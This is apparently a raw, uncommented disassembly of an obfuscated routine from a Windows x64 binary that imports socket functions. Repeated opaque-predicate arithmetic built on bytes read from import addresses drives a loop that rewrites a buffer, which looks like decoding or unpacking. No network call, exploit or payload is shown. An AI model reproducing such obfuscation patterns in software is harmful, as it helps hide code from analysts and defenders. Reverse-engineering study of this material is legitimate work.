call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14004e83d
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si eax, xmm0
mov dword [rbp - 0x68], eax
movsxd rax, dword [rsp + 0x60]
mov r8d, dword [r14 + rax*4 + 4]
movsxd rax, dword [rsp + 0x60]
and r8d, dword [rbp - 0x68]
add r8d, r8d
mov edx, dword [r14 + rax*4 + 4]
movsxd rax, dword [rsp + 0x60]
sub edx, r8d
add edx, r13d
mov dword [r14 + rax*4 + 4], edx
call fcn.140012bd0
movsx edx, byte [0x14087fc72]
movsx ecx, al
imul edx, ecx
lea ebx, [rdx + rdx*4]
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14004eb4b
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm9
movsd qword [rsp + 0x68], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14004e94f
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14004e94f
mov edi, esi
mov dword [rbp - 0x64], esi
jmp 0x14004e9e5
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14004e9e2
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si edi, xmm0
mov dword [rbp - 0x64], edi
jmp 0x14004e9e5
mov edi, dword [rbp - 0x64]
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm9
movsd qword [rsp + 0x68], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14004ea90
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14004ea90
mov dword [rbp - 0x60], esi
jmp 0x14004eb21
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14004eb21
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si eax, xmm0
mov dword [rbp - 0x60], eax
movsxd rax, dword [rsp + 0x60]
mov r8d, dword [r14 + rax*4 + 4]
movsxd rax, dword [rsp + 0x60]
and r8d, dword [rbp - 0x60]
add r8d, r8d
mov edx, dword [r14 + rax*4 + 4]
movsxd rax, dword [rsp + 0x60]
sub edx, r8d
add edx, edi
mov dword [r14 + rax*4 + 4], edx
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx edi, al
imul edi, ebx
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14004ee50
mov eax, dword [rsp + 0x60]
sub eax, 0xd
movd xmm2, eax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
cvtdq2pd xmm2, xmm2
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x68], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14004ec46
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14004ec46
mov edi, esi
mov dword [rbp - 0x5c], esi
jmp 0x14004ecdc
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14004ecd9
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si edi, xmm0
mov dword [rbp - 0x5c], edi
jmp 0x14004ecdc
mov edi, dword [rbp - 0x5c]
mov eax, dword [rsp + 0x60]
sub eax, 0xd
movd xmm2, eax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
cvtdq2pd xmm2, xmm2
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x68], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14004ed95
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14004ed95
mov dword [rbp - 0x74], esi
jmp 0x14004ee26
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14004ee26
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si eax, xmm0
mov dword [rbp - 0x74], eax
movsxd rax, dword [rsp + 0x60]
mov r8d, dword [r14 + rax*4 + 4]
movsxd rax, dword [rsp + 0x60]
and r8d, dword [rbp - 0x74]
add r8d, r8d
mov edx, dword [r14 + rax*4 + 4]
movsxd rax, dword [rsp + 0x60]
sub edx, r8d
add edx, edi
mov dword [r14 + rax*4 + 4], edx
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14004f12c
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm6
movsd qword [rsp + 0x68], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14004ef31
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14004ef31
mov edi, esi
mov dword [rbp - 0x70], esi
jmp 0x14004efc7
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14004efc4
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si edi, xmm0
mov dword [rbp - 0x70], edi
jmp 0x14004efc7
mov edi, dword [rbp - 0x70]
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm6
movsd qword [rsp + 0x68], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14004f071
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14004f071
mov dword [rbp - 0x6c], esi
jmp 0x14004f102
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14004f102
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si eax, xmm0
mov dword [rbp - 0x6c], eax
movsxd rax, dword [rsp + 0x60]
mov r8d, dword [r14 + rax*4 + 4]
movsxd rax, dword [rsp + 0x60]
and r8d, dword [rbp - 0x6c]
add r8d, r8d
mov edx, dword [r14 + rax*4 + 4]
movsxd rax, dword [rsp + 0x60]
sub edx, r8d
add edx, edi
mov dword [r14 + rax*4 + 4], edx
mov eax, dword [rsp + 0x60]
inc eax
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x60]
cmp eax, 1
jb 0x14004e276
xor r15d, r15d
mov byte [r14], 1
lea rcx, [0x140000000]
mov eax, dword [r14 + 4]
lea rdx, [rbp + 0x28]
mov byte [rbp - 0x56], 0
mov rax, qword [rcx + rax*8 + 0x87c6c0]
lea rcx, [rbp - 0x56]
mov qword [rbp - 0x80], rax
call fcn.140042810
mov r14, rax
cmp byte [rax], 0
jne 0x140050081
mov dword [rsp + 0x60], r15d
mov ecx, dword [rsp + 0x60]
cmp ecx, 0xe
jae 0x140050081
movsd xmm6, qword [0x1406ab4c8]
mov r15d, dword [rsp + 0x70]
mov r12d, dword [rsp + 0x70]
mov r13d, dword [rsp + 0x70]
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
shl ebx, 2
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14004f47d
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm6
movsd qword [rsp + 0x68], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14004f289
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14004f289
mov r15d, esi
jmp 0x14004f318
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14004f318
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si r15d, xmm0
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm6
movsd qword [rsp + 0x68], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14004f3c2
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14004f3c2
mov r12d, esi
jmp 0x14004f451
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14004f451
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si r12d, xmm0
movsxd rax, dword [rsp + 0x60]
movzx r8d, byte [rax + r14 + 1]
movsxd rax, dword [rsp + 0x60]
and r8b, r12b
add r8b, r8b
movzx edx, byte [rax + r14 + 1]
movsxd rax, dword [rsp + 0x60]
sub dl, r8b
add dl, r15b
mov byte [rax + r14 + 1], dl
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
add ebx, ebx
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14004fd89
call fcn.140012bd0
movsx edx, byte [0x14087fc72]
movsx ecx, al
imul edx, ecx
lea ebx, [rdx + rdx*4]
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14004f79b
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm7
movsd qword [rsp + 0x68], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14004f5a4
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14004f5a4
mov r13d, esi
jmp 0x14004f633
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14004f633
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si r13d, xmm0
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm7
movsd qword [rsp + 0x68], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14004f6dd
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14004f6dd
mov dword [rbp - 0x6c], esi
jmp 0x14004f76e
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14004f76e
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si eax, xmm0
mov dword [rbp - 0x6c], eax
movsxd rax, dword [rsp + 0x60]
movzx r8d, byte [rax + r14 + 1]
movsxd rax, dword [rsp + 0x60]
and r8b, byte [rbp - 0x6c]
add r8b, r8b
movzx edx, byte [rax + r14 + 1]
movsxd rax, dword [rsp + 0x60]
sub dl, r8b
add dl, r13b
mov byte [rax + r14 + 1], dl
call fcn.140012bd0
movsx edx, byte [0x14087fc72]
movsx ecx, al
imul edx, ecx
lea ebx, [rdx + rdx*4]
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14004fa81
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm8
movsd qword [rsp + 0x68], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14004f882
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14004f882
mov edi, esi
mov dword [rbp - 0x70], esi
jmp 0x14004f918
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14004f915
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si edi, xmm0
mov dword [rbp - 0x70], edi
jmp 0x14004f918
mov edi, dword [rbp - 0x70]
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
